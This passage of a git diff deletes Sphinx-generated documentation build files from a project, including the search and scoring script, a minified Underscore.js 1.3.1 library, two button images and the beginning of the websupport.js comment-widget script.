- w = stem; - } - else if (re2.test(w)) { - var fp = re2.exec(w); - stem = fp[1] + fp[2]; - re2 = new RegExp(mgr1); - if (re2.test(stem)) - w = stem; - } - - // Step 5 - re = /^(.+?)e$/; - if (re.test(w)) { - var fp = re.exec(w); - stem = fp[1]; - re = new RegExp(mgr1); - re2 = new RegExp(meq1); - re3 = new RegExp("^" + C + v + "[^aeiouwxy]$"); - if (re.test(stem) || (re2.test(stem) && !(re3.test(stem)))) - w = stem; - } - re = /ll$/; - re2 = new RegExp(mgr1); - if (re.test(w) && re2.test(w)) { - re = /.$/; - w = w.replace(re,""); - } - - // and turn initial Y back to y - if (firstch == "y") - w = firstch.toLowerCase() + w.substr(1); - return w; - } -} - - - -/** - * Simple result scoring code. - */ -var Scorer = { - // Implement the following function to further tweak the score for each result - // The function takes a result array [filename, title, anchor, descr, score] - // and returns the new score. - /* - score: function(result) { - return result[4]; - }, - */ - - // query matches the full name of an object - objNameMatch: 11, - // or matches in the last dotted part of the object name - objPartialMatch: 6, - // Additive scores depending on the priority of the object - objPrio: {0: 15, // used to be importantResults - 1: 5, // used to be objectResults - 2: -5}, // used to be unimportantResults - // Used when the priority is not in the mapping. - objPrioDefault: 0, - - // query found in title - title: 15, - // query found in terms - term: 5 -}; - - -/** - * Search Module - */ -var Search = { - - _index : null, - _queued_query : null, - _pulse_status : -1, - - init : function() { - var params = $.getQueryParameters(); - if (params.q) { - var query = params.q[0]; - $('input[name="q"]')[0].value = query; - this.performSearch(query); - } - }, - - loadIndex : function(url) { - $.ajax({type: "GET", url: url, data: null, - dataType: "script", cache: true, - complete: function(jqxhr, textstatus) { - if (textstatus != "success") { - document.getElementById("searchindexloader").src = url; - } - }}); - }, - - setIndex : function(index) { - var q; - this._index = index; - if ((q = this._queued_query) !== null) { - this._queued_query = null; - Search.query(q); - } - }, - - hasIndex : function() { - return this._index !== null; - }, - - deferQuery : function(query) { - this._queued_query = query; - }, - - stopPulse : function() { - this._pulse_status = 0; - }, - - startPulse : function() { - if (this._pulse_status >= 0) - return; - function pulse() { - var i; - Search._pulse_status = (Search._pulse_status + 1) % 4; - var dotString = ''; - for (i = 0; i < Search._pulse_status; i++) - dotString += '.'; - Search.dots.text(dotString); - if (Search._pulse_status > -1) - window.setTimeout(pulse, 500); - } - pulse(); - }, - - /** - * perform a search for something (or wait until index is loaded) - */ - performSearch : function(query) { - // create the required interface elements - this.out = $('#search-results'); - this.title = $('<h2>' + _('Searching') + '</h2>').appendTo(this.out); - this.dots = $('<span></span>').appendTo(this.title); - this.status = $('<p style="display: none"></p>').appendTo(this.out); - this.output = $('<ul class="search"/>').appendTo(this.out); - - $('#search-progress').text(_('Preparing search...')); - this.startPulse(); - - // index already loaded, the browser was quick! - if (this.hasIndex()) - this.query(query); - else - this.deferQuery(query); - }, - - /** - * execute search (requires search index to be loaded) - */ - query : function(query) { - var i; - var stopwords = ["a","and","are","as","at","be","but","by","for","if","in","into","is","it","near","no","not","of","on","or","such","that","the","their","then","there","these","they","this","to","was","will","with"]; - - // stem the searchterms and add them to the correct list - var stemmer = new Stemmer(); - var searchterms = []; - var excluded = []; - var hlterms = []; - var tmp = query.split(/\s+/); - var objectterms = []; - for (i = 0; i < tmp.length; i++) { - if (tmp[i] !== "") { - objectterms.push(tmp[i].toLowerCase()); - } - - if ($u.indexOf(stopwords, tmp[i].toLowerCase()) != -1 || tmp[i].match(/^\d+$/) || - tmp[i] === "") { - // skip this "word" - continue; - } - // stem the word - var word = stemmer.stemWord(tmp[i].toLowerCase()); - var toAppend; - // select the correct list - if (word[0] == '-') { - toAppend = excluded; - word = word.substr(1); - } - else { - toAppend = searchterms; - hlterms.push(tmp[i].toLowerCase()); - } - // only add if not already in the list - if (!$u.contains(toAppend, word)) - toAppend.push(word); - } - var highlightstring = '?highlight=' + $.urlencode(hlterms.join(" ")); - - // console.debug('SEARCH: searching for:'); - // console.info('required: ', searchterms); - // console.info('excluded: ', excluded); - - // prepare search - var terms = this._index.terms; - var titleterms = this._index.titleterms; - - // array of [filename, title, anchor, descr, score] - var results = []; - $('#search-progress').empty(); - - // lookup as object - for (i = 0; i < objectterms.length; i++) { - var others = [].concat(objectterms.slice(0, i), - objectterms.slice(i+1, objectterms.length)); - results = results.concat(this.performObjectSearch(objectterms[i], others)); - } - - // lookup as search terms in fulltext - results = results.concat(this.performTermsSearch(searchterms, excluded, terms, Scorer.term)) - .concat(this.performTermsSearch(searchterms, excluded, titleterms, Scorer.title)); - - // let the scorer override scores with a custom scoring function - if (Scorer.score) { - for (i = 0; i < results.length; i++) - results[i][4] = Scorer.score(results[i]); - } - - // now sort the results by score (in opposite order of appearance, since the - // display function below uses pop() to retrieve items) and then - // alphabetically - results.sort(function(a, b) { - var left = a[4]; - var right = b[4]; - if (left > right) { - return 1; - } else if (left < right) { - return -1; - } else { - // same score: sort alphabetically - left = a[1].toLowerCase(); - right = b[1].toLowerCase(); - return (left > right) ? -1 : ((left < right) ? 1 : 0); - } - }); - - // for debugging - //Search.lastresults = results.slice(); // a copy - //console.info('search results:', Search.lastresults); - - // print the results - var resultCount = results.length; - function displayNextItem() { - // results left, load the summary and display it - if (results.length) { - var item = results.pop(); - var listItem = $('<li style="display:none"></li>'); - if (DOCUMENTATION_OPTIONS.FILE_SUFFIX === '') { - // dirhtml builder - var dirname = item[0] + '/'; - if (dirname.match(/\/index\/$/)) { - dirname = dirname.substring(0, dirname.length-6); - } else if (dirname == 'index/') { - dirname = ''; - } - listItem.append($('<a/>').attr('href', - DOCUMENTATION_OPTIONS.URL_ROOT + dirname + - highlightstring + item[2]).html(item[1])); - } else { - // normal html builders - listItem.append($('<a/>').attr('href', - item[0] + DOCUMENTATION_OPTIONS.FILE_SUFFIX + - highlightstring + item[2]).html(item[1])); - } - if (item[3]) { - listItem.append($('<span> (' + item[3] + ')</span>')); - Search.output.append(listItem); - listItem.slideDown(5, function() { - displayNextItem(); - }); - } else if (DOCUMENTATION_OPTIONS.HAS_SOURCE) { - $.ajax({url: DOCUMENTATION_OPTIONS.URL_ROOT + '_sources/' + item[0] + '.txt', - dataType: "text", - complete: function(jqxhr, textstatus) { - var data = jqxhr.responseText; - if (data !== '') { - listItem.append(Search.makeSearchSummary(data, searchterms, hlterms)); - } - Search.output.append(listItem); - listItem.slideDown(5, function() { - displayNextItem(); - }); - }}); - } else { - // no source available, just display title - Search.output.append(listItem); - listItem.slideDown(5, function() { - displayNextItem(); - }); - } - } - // search finished, update title and status message - else { - Search.stopPulse(); - Search.title.text(_('Search Results')); - if (!resultCount) - Search.status.text(_('Your search did not match any documents. Please make sure that all words are spelled correctly and that you\'ve selected enough categories.')); - else - Search.status.text(_('Search finished, found %s page(s) matching the search query.').replace('%s', resultCount)); - Search.status.fadeIn(500); - } - } - displayNextItem(); - }, - - /** - * search for object names - */ - performObjectSearch : function(object, otherterms) { - var filenames = this._index.filenames; - var objects = this._index.objects; - var objnames = this._index.objnames; - var titles = this._index.titles; - - var i; - var results = []; - - for (var prefix in objects) { - for (var name in objects[prefix]) { - var fullname = (prefix ? prefix + '.' : '') + name; - if (fullname.toLowerCase().indexOf(object) > -1) { - var score = 0; - var parts = fullname.split('.'); - // check for different match types: exact matches of full name or - // "last name" (i.e. last dotted part) - if (fullname == object || parts[parts.length - 1] == object) { - score += Scorer.objNameMatch; - // matches in last name - } else if (parts[parts.length - 1].indexOf(object) > -1) { - score += Scorer.objPartialMatch; - } - var match = objects[prefix][name]; - var objname = objnames[match[1]][2]; - var title = titles[match[0]]; - // If more than one term searched for, we require other words to be - // found in the name/title/description - if (otherterms.length > 0) { - var haystack = (prefix + ' ' + name + ' ' + - objname + ' ' + title).toLowerCase(); - var allfound = true; - for (i = 0; i < otherterms.length; i++) { - if (haystack.indexOf(otherterms[i]) == -1) { - allfound = false; - break; - } - } - if (!allfound) { - continue; - } - } - var descr = objname + _(', in ') + title; - - var anchor = match[3]; - if (anchor === '') - anchor = fullname; - else if (anchor == '-') - anchor = objnames[match[1]][1] + '-' + fullname; - // add custom score for some objects according to scorer - if (Scorer.objPrio.hasOwnProperty(match[2])) { - score += Scorer.objPrio[match[2]]; - } else { - score += Scorer.objPrioDefault; - } - results.push([filenames[match[0]], fullname, '#'+anchor, descr, score]); - } - } - } - - return results; - }, - - /** - * search for full-text terms in the index - */ - performTermsSearch : function(searchterms, excluded, terms, score) { - var filenames = this._index.filenames; - var titles = this._index.titles; - - var i, j, file, files; - var fileMap = {}; - var results = []; - - // perform the search on the required terms - for (i = 0; i < searchterms.length; i++) { - var word = searchterms[i]; - // no match but word was a required one - if ((files = terms[word]) === undefined) - break; - if (files.length === undefined) { - files = [files]; - } - // create the mapping - for (j = 0; j < files.length; j++) { - file = files[j]; - if (file in fileMap) - fileMap[file].push(word); - else - fileMap[file] = [word]; - } - } - - // now check if the files don't contain excluded terms - for (file in fileMap) { - var valid = true; - - // check if all requirements are matched - if (fileMap[file].length != searchterms.length) - continue; - - // ensure that none of the excluded terms is in the search result - for (i = 0; i < excluded.length; i++) { - if (terms[excluded[i]] == file || - $u.contains(terms[excluded[i]] || [], file)) { - valid = false; - break; - } - } - - // if we have still a valid result we can add it to the result list - if (valid) { - results.push([filenames[file], titles[file], '', null, score]); - } - } - return results; - }, - - /** - * helper function to return a node containing the - * search summary for a given text. keywords is a list - * of stemmed words, hlwords is the list of normal, unstemmed - * words. the first one is used to find the occurance, the - * latter for highlighting it. - */ - makeSearchSummary : function(text, keywords, hlwords) { - var textLower = text.toLowerCase(); - var start = 0; - $.each(keywords, function() { - var i = textLower.indexOf(this.toLowerCase()); - if (i > -1) - start = i; - }); - start = Math.max(start - 120, 0); - var excerpt = ((start > 0) ? '...' : '') + - $.trim(text.substr(start, 240)) + - ((start + 240 - text.length) ? '...' : ''); - var rv = $('<div class="context"></div>').text(excerpt); - $.each(hlwords, function() { - rv = rv.highlightText(this, 'highlighted'); - }); - return rv; - } -}; - -$(document).ready(function() { - Search.init(); -});
\ No newline at end of file diff --git a/docs/_build/html/_static/underscore.js b/docs/_build/html/_static/underscore.js deleted file mode 100644 index 5b55f32..0000000 --- a/docs/_build/html/_static/underscore.js +++ /dev/null @@ -1,31 +0,0 @@ -// Underscore.js 1.3.1 -// (c) 2009-2012 Jeremy Ashkenas, DocumentCloud Inc. -// Underscore is freely distributable under the MIT license. -// Portions of Underscore are inspired or borrowed from Prototype, -// Oliver Steele's Functional, and John Resig's Micro-Templating. -// For all details and documentation: -// http://documentcloud.github.com/underscore -(function(){function q(a,c,d){if(a===c)return a!==0||1/a==1/c;if(a==null||c==null)return a===c;if(a._chain)a=a._wrapped;if(c._chain)c=c._wrapped;if(a.isEqual&&b.isFunction(a.isEqual))return a.isEqual(c);if(c.isEqual&&b.isFunction(c.isEqual))return c.isEqual(a);var e=l.call(a);if(e!=l.call(c))return false;switch(e){case "[object String]":return a==String(c);case "[object Number]":return a!=+a?c!=+c:a==0?1/a==1/c:a==+c;case "[object Date]":case "[object Boolean]":return+a==+c;case "[object RegExp]":return a.source== -c.source&&a.global==c.global&&a.multiline==c.multiline&&a.ignoreCase==c.ignoreCase}if(typeof a!="object"||typeof c!="object")return false;for(var f=d.length;f--;)if(d[f]==a)return true;d.push(a);var f=0,g=true;if(e=="[object Array]"){if(f=a.length,g=f==c.length)for(;f--;)if(!(g=f in a==f in c&&q(a[f],c[f],d)))break}else{if("constructor"in a!="constructor"in c||a.constructor!=c.constructor)return false;for(var h in a)if(b.has(a,h)&&(f++,!(g=b.has(c,h)&&q(a[h],c[h],d))))break;if(g){for(h in c)if(b.has(c, -h)&&!f--)break;g=!f}}d.pop();return g}var r=this,G=r._,n={},k=Array.prototype,o=Object.prototype,i=k.slice,H=k.unshift,l=o.toString,I=o.hasOwnProperty,w=k.forEach,x=k.map,y=k.reduce,z=k.reduceRight,A=k.filter,B=k.every,C=k.some,p=k.indexOf,D=k.lastIndexOf,o=Array.isArray,J=Object.keys,s=Function.prototype.bind,b=function(a){return new m(a)};if(typeof exports!=="undefined"){if(typeof module!=="undefined"&&module.exports)exports=module.exports=b;exports._=b}else r._=b;b.VERSION="1.3.1";var j=b.each= -b.forEach=function(a,c,d){if(a!=null)if(w&&a.forEach===w)a.forEach(c,d);else if(a.length===+a.length)for(var e=0,f=a.length;e<f;e++){if(e in a&&c.call(d,a[e],e,a)===n)break}else for(e in a)if(b.has(a,e)&&c.call(d,a[e],e,a)===n)break};b.map=b.collect=function(a,c,b){var e=[];if(a==null)return e;if(x&&a.map===x)return a.map(c,b);j(a,function(a,g,h){e[e.length]=c.call(b,a,g,h)});if(a.length===+a.length)e.length=a.length;return e};b.reduce=b.foldl=b.inject=function(a,c,d,e){var f=arguments.length>2;a== -null&&(a=[]);if(y&&a.reduce===y)return e&&(c=b.bind(c,e)),f?a.reduce(c,d):a.reduce(c);j(a,function(a,b,i){f?d=c.call(e,d,a,b,i):(d=a,f=true)});if(!f)throw new TypeError("Reduce of empty array with no initial value");return d};b.reduceRight=b.foldr=function(a,c,d,e){var f=arguments.length>2;a==null&&(a=[]);if(z&&a.reduceRight===z)return e&&(c=b.bind(c,e)),f?a.reduceRight(c,d):a.reduceRight(c);var g=b.toArray(a).reverse();e&&!f&&(c=b.bind(c,e));return f?b.reduce(g,c,d,e):b.reduce(g,c)};b.find=b.detect= -function(a,c,b){var e;E(a,function(a,g,h){if(c.call(b,a,g,h))return e=a,true});return e};b.filter=b.select=function(a,c,b){var e=[];if(a==null)return e;if(A&&a.filter===A)return a.filter(c,b);j(a,function(a,g,h){c.call(b,a,g,h)&&(e[e.length]=a)});return e};b.reject=function(a,c,b){var e=[];if(a==null)return e;j(a,function(a,g,h){c.call(b,a,g,h)||(e[e.length]=a)});return e};b.every=b.all=function(a,c,b){var e=true;if(a==null)return e;if(B&&a.every===B)return a.every(c,b);j(a,function(a,g,h){if(!(e= -e&&c.call(b,a,g,h)))return n});return e};var E=b.some=b.any=function(a,c,d){c||(c=b.identity);var e=false;if(a==null)return e;if(C&&a.some===C)return a.some(c,d);j(a,function(a,b,h){if(e||(e=c.call(d,a,b,h)))return n});return!!e};b.include=b.contains=function(a,c){var b=false;if(a==null)return b;return p&&a.indexOf===p?a.indexOf(c)!=-1:b=E(a,function(a){return a===c})};b.invoke=function(a,c){var d=i.call(arguments,2);return b.map(a,function(a){return(b.isFunction(c)?c||a:a[c]).apply(a,d)})};b.pluck= -function(a,c){return b.map(a,function(a){return a[c]})};b.max=function(a,c,d){if(!c&&b.isArray(a))return Math.max.apply(Math,a);if(!c&&b.isEmpty(a))return-Infinity;var e={computed:-Infinity};j(a,function(a,b,h){b=c?c.call(d,a,b,h):a;b>=e.computed&&(e={value:a,computed:b})});return e.value};b.min=function(a,c,d){if(!c&&b.isArray(a))return Math.min.apply(Math,a);if(!c&&b.isEmpty(a))return Infinity;var e={computed:Infinity};j(a,function(a,b,h){b=c?c.call(d,a,b,h):a;b<e.computed&&(e={value:a,computed:b})}); -return e.value};b.shuffle=function(a){var b=[],d;j(a,function(a,f){f==0?b[0]=a:(d=Math.floor(Math.random()*(f+1)),b[f]=b[d],b[d]=a)});return b};b.sortBy=function(a,c,d){return b.pluck(b.map(a,function(a,b,g){return{value:a,criteria:c.call(d,a,b,g)}}).sort(function(a,b){var c=a.criteria,d=b.criteria;return c<d?-1:c>d?1:0}),"value")};b.groupBy=function(a,c){var d={},e=b.isFunction(c)?c:function(a){return a[c]};j(a,function(a,b){var c=e(a,b);(d[c]||(d[c]=[])).push(a)});return d};b.sortedIndex=function(a, -c,d){d||(d=b.identity);for(var e=0,f=a.length;e<f;){var g=e+f>>1;d(a[g])<d(c)?e=g+1:f=g}return e};b.toArray=function(a){return!a?[]:a.toArray?a.toArray():b.isArray(a)?i.call(a):b.isArguments(a)?i.call(a):b.values(a)};b.size=function(a){return b.toArray(a).length};b.first=b.head=function(a,b,d){return b!=null&&!d?i.call(a,0,b):a[0]};b.initial=function(a,b,d){return i.call(a,0,a.length-(b==null||d?1:b))};b.last=function(a,b,d){return b!=null&&!d?i.call(a,Math.max(a.length-b,0)):a[a.length-1]};b.rest= -b.tail=function(a,b,d){return i.call(a,b==null||d?1:b)};b.compact=function(a){return b.filter(a,function(a){return!!a})};b.flatten=function(a,c){return b.reduce(a,function(a,e){if(b.isArray(e))return a.concat(c?e:b.flatten(e));a[a.length]=e;return a},[])};b.without=function(a){return b.difference(a,i.call(arguments,1))};b.uniq=b.unique=function(a,c,d){var d=d?b.map(a,d):a,e=[];b.reduce(d,function(d,g,h){if(0==h||(c===true?b.last(d)!=g:!b.include(d,g)))d[d.length]=g,e[e.length]=a[h];return d},[]); -return e};b.union=function(){return b.uniq(b.flatten(arguments,true))};b.intersection=b.intersect=function(a){var c=i.call(arguments,1);return b.filter(b.uniq(a),function(a){return b.every(c,function(c){return b.indexOf(c,a)>=0})})};b.difference=function(a){var c=b.flatten(i.call(arguments,1));return b.filter(a,function(a){return!b.include(c,a)})};b.zip=function(){for(var a=i.call(arguments),c=b.max(b.pluck(a,"length")),d=Array(c),e=0;e<c;e++)d[e]=b.pluck(a,""+e);return d};b.indexOf=function(a,c, -d){if(a==null)return-1;var e;if(d)return d=b.sortedIndex(a,c),a[d]===c?d:-1;if(p&&a.indexOf===p)return a.indexOf(c);for(d=0,e=a.length;d<e;d++)if(d in a&&a[d]===c)return d;return-1};b.lastIndexOf=function(a,b){if(a==null)return-1;if(D&&a.lastIndexOf===D)return a.lastIndexOf(b);for(var d=a.length;d--;)if(d in a&&a[d]===b)return d;return-1};b.range=function(a,b,d){arguments.length<=1&&(b=a||0,a=0);for(var d=arguments[2]||1,e=Math.max(Math.ceil((b-a)/d),0),f=0,g=Array(e);f<e;)g[f++]=a,a+=d;return g}; -var F=function(){};b.bind=function(a,c){var d,e;if(a.bind===s&&s)return s.apply(a,i.call(arguments,1));if(!b.isFunction(a))throw new TypeError;e=i.call(arguments,2);return d=function(){if(!(this instanceof d))return a.apply(c,e.concat(i.call(arguments)));F.prototype=a.prototype;var b=new F,g=a.apply(b,e.concat(i.call(arguments)));return Object(g)===g?g:b}};b.bindAll=function(a){var c=i.call(arguments,1);c.length==0&&(c=b.functions(a));j(c,function(c){a[c]=b.bind(a[c],a)});return a};b.memoize=function(a, -c){var d={};c||(c=b.identity);return function(){var e=c.apply(this,arguments);return b.has(d,e)?d[e]:d[e]=a.apply(this,arguments)}};b.delay=function(a,b){var d=i.call(arguments,2);return setTimeout(function(){return a.apply(a,d)},b)};b.defer=function(a){return b.delay.apply(b,[a,1].concat(i.call(arguments,1)))};b.throttle=function(a,c){var d,e,f,g,h,i=b.debounce(function(){h=g=false},c);return function(){d=this;e=arguments;var b;f||(f=setTimeout(function(){f=null;h&&a.apply(d,e);i()},c));g?h=true: -a.apply(d,e);i();g=true}};b.debounce=function(a,b){var d;return function(){var e=this,f=arguments;clearTimeout(d);d=setTimeout(function(){d=null;a.apply(e,f)},b)}};b.once=function(a){var b=false,d;return function(){if(b)return d;b=true;return d=a.apply(this,arguments)}};b.wrap=function(a,b){return function(){var d=[a].concat(i.call(arguments,0));return b.apply(this,d)}};b.compose=function(){var a=arguments;return function(){for(var b=arguments,d=a.length-1;d>=0;d--)b=[a[d].apply(this,b)];return b[0]}}; -b.after=function(a,b){return a<=0?b():function(){if(--a<1)return b.apply(this,arguments)}};b.keys=J||function(a){if(a!==Object(a))throw new TypeError("Invalid object");var c=[],d;for(d in a)b.has(a,d)&&(c[c.length]=d);return c};b.values=function(a){return b.map(a,b.identity)};b.functions=b.methods=function(a){var c=[],d;for(d in a)b.isFunction(a[d])&&c.push(d);return c.sort()};b.extend=function(a){j(i.call(arguments,1),function(b){for(var d in b)a[d]=b[d]});return a};b.defaults=function(a){j(i.call(arguments, -1),function(b){for(var d in b)a[d]==null&&(a[d]=b[d])});return a};b.clone=function(a){return!b.isObject(a)?a:b.isArray(a)?a.slice():b.extend({},a)};b.tap=function(a,b){b(a);return a};b.isEqual=function(a,b){return q(a,b,[])};b.isEmpty=function(a){if(b.isArray(a)||b.isString(a))return a.length===0;for(var c in a)if(b.has(a,c))return false;return true};b.isElement=function(a){return!!(a&&a.nodeType==1)};b.isArray=o||function(a){return l.call(a)=="[object Array]"};b.isObject=function(a){return a===Object(a)}; -b.isArguments=function(a){return l.call(a)=="[object Arguments]"};if(!b.isArguments(arguments))b.isArguments=function(a){return!(!a||!b.has(a,"callee"))};b.isFunction=function(a){return l.call(a)=="[object Function]"};b.isString=function(a){return l.call(a)=="[object String]"};b.isNumber=function(a){return l.call(a)=="[object Number]"};b.isNaN=function(a){return a!==a};b.isBoolean=function(a){return a===true||a===false||l.call(a)=="[object Boolean]"};b.isDate=function(a){return l.call(a)=="[object Date]"}; -b.isRegExp=function(a){return l.call(a)=="[object RegExp]"};b.isNull=function(a){return a===null};b.isUndefined=function(a){return a===void 0};b.has=function(a,b){return I.call(a,b)};b.noConflict=function(){r._=G;return this};b.identity=function(a){return a};b.times=function(a,b,d){for(var e=0;e<a;e++)b.call(d,e)};b.escape=function(a){return(""+a).replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'").replace(/\//g,"/")};b.mixin=function(a){j(b.functions(a), -function(c){K(c,b[c]=a[c])})};var L=0;b.uniqueId=function(a){var b=L++;return a?a+b:b};b.templateSettings={evaluate:/<%([\s\S]+?)%>/g,interpolate:/<%=([\s\S]+?)%>/g,escape:/<%-([\s\S]+?)%>/g};var t=/.^/,u=function(a){return a.replace(/\\\\/g,"\\").replace(/\\'/g,"'")};b.template=function(a,c){var d=b.templateSettings,d="var __p=[],print=function(){__p.push.apply(__p,arguments);};with(obj||{}){__p.push('"+a.replace(/\\/g,"\\\\").replace(/'/g,"\\'").replace(d.escape||t,function(a,b){return"',_.escape("+ -u(b)+"),'"}).replace(d.interpolate||t,function(a,b){return"',"+u(b)+",'"}).replace(d.evaluate||t,function(a,b){return"');"+u(b).replace(/[\r\n\t]/g," ")+";__p.push('"}).replace(/\r/g,"\\r").replace(/\n/g,"\\n").replace(/\t/g,"\\t")+"');}return __p.join('');",e=new Function("obj","_",d);return c?e(c,b):function(a){return e.call(this,a,b)}};b.chain=function(a){return b(a).chain()};var m=function(a){this._wrapped=a};b.prototype=m.prototype;var v=function(a,c){return c?b(a).chain():a},K=function(a,c){m.prototype[a]= -function(){var a=i.call(arguments);H.call(a,this._wrapped);return v(c.apply(b,a),this._chain)}};b.mixin(b);j("pop,push,reverse,shift,sort,splice,unshift".split(","),function(a){var b=k[a];m.prototype[a]=function(){var d=this._wrapped;b.apply(d,arguments);var e=d.length;(a=="shift"||a=="splice")&&e===0&&delete d[0];return v(d,this._chain)}});j(["concat","join","slice"],function(a){var b=k[a];m.prototype[a]=function(){return v(b.apply(this._wrapped,arguments),this._chain)}});m.prototype.chain=function(){this._chain= -true;return this};m.prototype.value=function(){return this._wrapped}}).call(this); diff --git a/docs/_build/html/_static/up-pressed.png b/docs/_build/html/_static/up-pressed.png Binary files differdeleted file mode 100644 index 8bd587a..0000000 --- a/docs/_build/html/_static/up-pressed.png +++ /dev/null diff --git a/docs/_build/html/_static/up.png b/docs/_build/html/_static/up.png Binary files differdeleted file mode 100644 index b946256..0000000 --- a/docs/_build/html/_static/up.png +++ /dev/null diff --git a/docs/_build/html/_static/websupport.js b/docs/_build/html/_static/websupport.js deleted file mode 100644 index 71c0a13..0000000 --- a/docs/_build/html/_static/websupport.js +++ /dev/null @@ -1,808 +0,0 @@ -/* - * websupport.js - * ~~~~~~~~~~~~~ - * - * sphinx.websupport utilties for all documentation. - * - * :copyright: Copyright 2007-2014 by the Sphinx team, see AUTHORS. - * :license: BSD, see LICENSE for details. - * - */ - -(function($) { - $.fn.autogrow = function() { - return this.each(function() { - var textarea = this; - - $.fn.autogrow.resize(textarea); - - $(textarea) - .focus(function() { - textarea.interval = setInterval(function() { - $.fn.autogrow.resize(textarea); - }, 500); - }) - .blur(function() { - clearInterval(textarea.interval); - }); - }); - }; - - $.fn.autogrow.resize = function(textarea) { - var lineHeight = parseInt($(textarea).css('line-height'), 10); - var lines = textarea.value.split('\n'); - var columns = textarea.cols; - var lineCount = 0; - $.each(lines, function() { - lineCount += Math.ceil(this.length / columns) || 1; - }); - var height = lineHeight * (lineCount + 1); - $(textarea).css('height', height); - }; -})(jQuery); - -(function($) { - var comp, by; - - function init() { - initEvents(); - initComparator(); - } - - function initEvents() { - $('a.comment-close').live("click", function(event) { - event.preventDefault(); - hide($(this).attr('id').substring(2)); - }); - $('a.vote').live("click", function(event) { - event.preventDefault(); - handleVote($(this)); - }); - $('a.reply').live("click", function(event) { - event.preventDefault(); - openReply($(this).attr('id').substring(2)); - }); - $('a.close-reply').live("click", function(event) { - event.preventDefault(); - closeReply($(this).attr('id').substring(2)); - }); - $('a.sort-option').live("click", function(event) { - event.preventDefault(); - handleReSort($(this)); - }); - $('a.show-proposal').live("click", function(event) { - event.preventDefault(); - showProposal($(this).attr('id').substring(2)); - }); - $('a.hide-proposal').live("click", function(event) { - event.preventDefault(); - hideProposal($(this).attr('id').substring(2)); - }); - $('a.show-propose-change').live("click", function(event) { - event.preventDefault(); - showProposeChange($(this).attr('id').substring(2)); - }); - $('a.hide-propose-change').live("click", function(event) { - event.preventDefault(); - hideProposeChange($(this).attr('id').substring(2)); - }); - $('a.accept-comment').live("click", function(event) { - event.preventDefault(); - acceptComment($(this).attr('id').substring(2)); - }); - $('a.delete-comment').live("click", function(event) { - event.preventDefault(); - deleteComment($(this).attr('id').substring(2)); - }); - $('a.comment-markup').live("click", function(event) { - event.preventDefault(); - toggleCommentMarkupBox($(this).attr('id').substring(2)); - }); - } - - /** - * Set comp, which is a comparator function used for sorting and - * inserting comments into the list. - */ - function setComparator() { - // If the first three letters are "asc", sort in ascending order - // and remove the prefix. - if (by.substring(0,3) == 'asc') { - var i = by.substring(3); - comp = function(a, b) { return a[i] - b[i]; }; - } else { - // Otherwise sort in descending order. - comp = function(a, b) { return b[by] - a[by]; }; - } - - // Reset link styles and format the selected sort option. - $('a.sel').attr('href', '#').removeClass('sel'); - $('a.by' + by).removeAttr('href').addClass('sel'); - } - - /** - * Create a comp function. If the user has preferences stored in - * the sortBy cookie, use those, otherwise use the default. - */ - function initComparator() { - by = 'rating'; // Default to sort by rating. - // If the sortBy cookie is set, use that instead. - if (document.cookie.length > 0) { - var start = document.cookie.indexOf('sortBy='); - if (start != -1) { - start = start + 7; - var end = document.cookie.indexOf(";", start); - if (end == -1) { - end = document.cookie.length; - by = unescape(document.cookie.substring(start, end)); - } - } - } - setComparator(); - } - - /** - * Show a comment div. - */ - function show(id) { - $('#ao' + id).hide(); - $('#ah' + id).show(); - var context = $.extend({id: id}, opts); - var popup = $(renderTemplate(popupTemplate, context)).hide(); - popup.find('textarea[name="proposal"]').hide(); - popup.find('a.by' + by).addClass('sel'); - var form = popup.find('#cf' + id); - form.submit(function(event) { - event.preventDefault(); - addComment(form); - }); - $('#s' + id).after(popup); - popup.slideDown('fast', function() { - getComments(id); - }); - } - - /** - * Hide a comment div. - */ - function hide(id) { - $('#ah' + id).hide(); - $('#ao' + id).show(); - var div = $('#sc' + id); - div.slideUp('fast', function() { - div.remove(); - }); - } - - /** - * Perform an ajax request to get comments for a node - * and insert the comments into the comments tree. - */ - function getComments(id) { - $.ajax({ - type: 'GET', - url: opts.getCommentsURL, - data: {node: id}, - success: function(data, textStatus, request) { - var ul = $('#cl' + id); - var speed = 100; - $('#cf' + id) - .find('textarea[name="proposal"]') - .data('source', data.source); - - if (data.comments.length === 0) { - ul.html('<li>No comments yet.</li>'); - ul.data('empty', true); - } else { - // If there are comments, sort them and put them in the list. - var comments = sortComments(data.comments); - speed = data.comments.length * 100; - appendComments(comments, ul); - ul.data('empty', false); - } - $('#cn' + id).slideUp(speed + 200); - ul.slideDown(speed); - }, - error: function(request, textStatus, error) { - showError('Oops, there was a problem retrieving the comments.'); - }, - dataType: 'json' - }); - } - - /** - * Add a comment via ajax and insert the comment into the comment tree. - */ - function addComment(form) { - var node_id = form.find('input[name="node"]').val(); - var parent_id = form.find('input[name="parent"]').val(); - var text = form.find('textarea[name="comment"]').val(); - var proposal = form.find('textarea[name="proposal"]').val(); - - if (text == '') { - showError('Please enter a comment.'); - return; - } - - // Disable the form that is being submitted. - form.find('textarea,input').attr('disabled', 'disabled'); - - // Send the comment to the server. - $.ajax({ - type: "POST", - url: opts.addCommentURL, - dataType: 'json', - data: { - node: node_id, - parent: parent_id, - text: text, - proposal: proposal - }, - success: function(data, textStatus, error) { - // Reset the form. - if (node_id) { - hideProposeChange(node_id); - } - form.find('textarea') - .val('') - .add(form.find('input')) - .removeAttr('disabled'); - var ul = $('#cl' + (node_id || parent_id)); - if (ul.data('empty')) { - $(ul).empty(); - ul.data('empty', false); - } - insertComment(data.comment); - var ao = $('#ao' + node_id); - ao.find('img').attr({'src': opts.commentBrightImage}); - if (node_id) { - // if this was a "root" comment, remove the commenting box - // (the user can get it back by reopening the comment popup) - $('#ca' + node_id).slideUp(); - } - }, - error: function(request, textStatus, error) { - form.find('textarea,input').removeAttr('disabled'); - showError('Oops, there was a problem adding the comment.'); - } - }); - } - - /** - * Recursively append comments to the main comment list and children - * lists, creating the comment tree. - */ - function appendComments(comments, ul) { - $.each(comments, function() { - var div = createCommentDiv(this); - ul.append($(document.createElement('li')).html(div)); - appendComments(this.children, div.find('ul.comment-children')); - // To avoid stagnating data, don't store the comments children in data. - this.children = null; - div.data('comment', this); - }); - } - - /** - * After adding a new comment, it must be inserted in the correct - * location in the comment tree. - */ - function insertComment(comment) { - var div = createCommentDiv(comment); - - // To avoid stagnating data, don't store the comments children in data. - comment.children = null; - div.data('comment', comment); - - var ul = $('#cl' + (comment.node || comment.parent)); - var 